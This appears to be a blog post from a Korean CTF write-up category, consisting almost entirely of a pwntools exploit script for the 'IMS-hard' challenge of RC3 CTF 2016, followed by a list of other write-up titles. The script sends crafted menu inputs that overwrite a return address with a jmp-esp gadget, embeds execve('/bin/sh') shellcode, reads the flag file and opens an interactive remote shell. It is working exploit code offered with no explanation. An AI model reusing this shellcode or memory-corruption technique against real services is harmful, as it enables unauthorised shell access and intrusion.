from pwn import *
IP = 'localhost'
PORT = 40645
IP = 'ims.ctf.rc3.club'
PORT = 7777
conn = remote(IP,PORT)
conn.recvuntil('Choose:')
jmpesp = 0x080def77
shellcode = '6a68682f2f2f7368 2f62696e 6a0b5889e331c999 cd80'
payload = ""
payload += "1\n1\n1\n"
payload += "1\n2\n2\n"
payload += "1\n3\n3\n"
payload += "1\n4\n4\n"
payload += "1\n5\n5\n"
payload += "1\n6\n0A0A0A0A0A0A0A0\n"
payload += "1\n%d\n0B0B0B0B0B0B0B0\n"%(jmpesp) #esp
'''
payload += "1\n%d\n%s"%(0x2f62696e, "12345678")
payload += "1\n%d\n%s"%(0x0000cd80, "90abcdef")
0xffff9770: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0xffff9778: 0x6e 0x69 0x62 0x2f 0x00 0x00 0x00 0x00
0xffff9780: 0x00 0x00 0x00 0x00 0xb0 0x81 0x04 0x08
0xffff9788: 0x00 0x00 0x00 0x00 0x0c 0x00
'''
payload += "1\n%d\n%s\n"%(0x6e69622f, "6a68682f2f2f7368".decode('hex'))
payload += "1\n%d\n%s\n"%(0x80cd, "6a0b5889e331c999".decode('hex'))
payload += "4\n"
conn.send(payload)
conn.send('cat /home/*/flag.txt\n')
conn.interactive()
'Conference > Write up' 카테고리의 다른 글
codegate - hunting (0) | 2017.02.16 |
---|---|
IMS-hard - RC3 CTF 2016 400pt (0) | 2016.11.21 |
defcon24 - feedme (0) | 2016.06.08 |
2014 DEFCON - sftp (0) | 2014.06.08 |
PCTF 2K13 ropasaurusrex (0) | 2014.04.29 |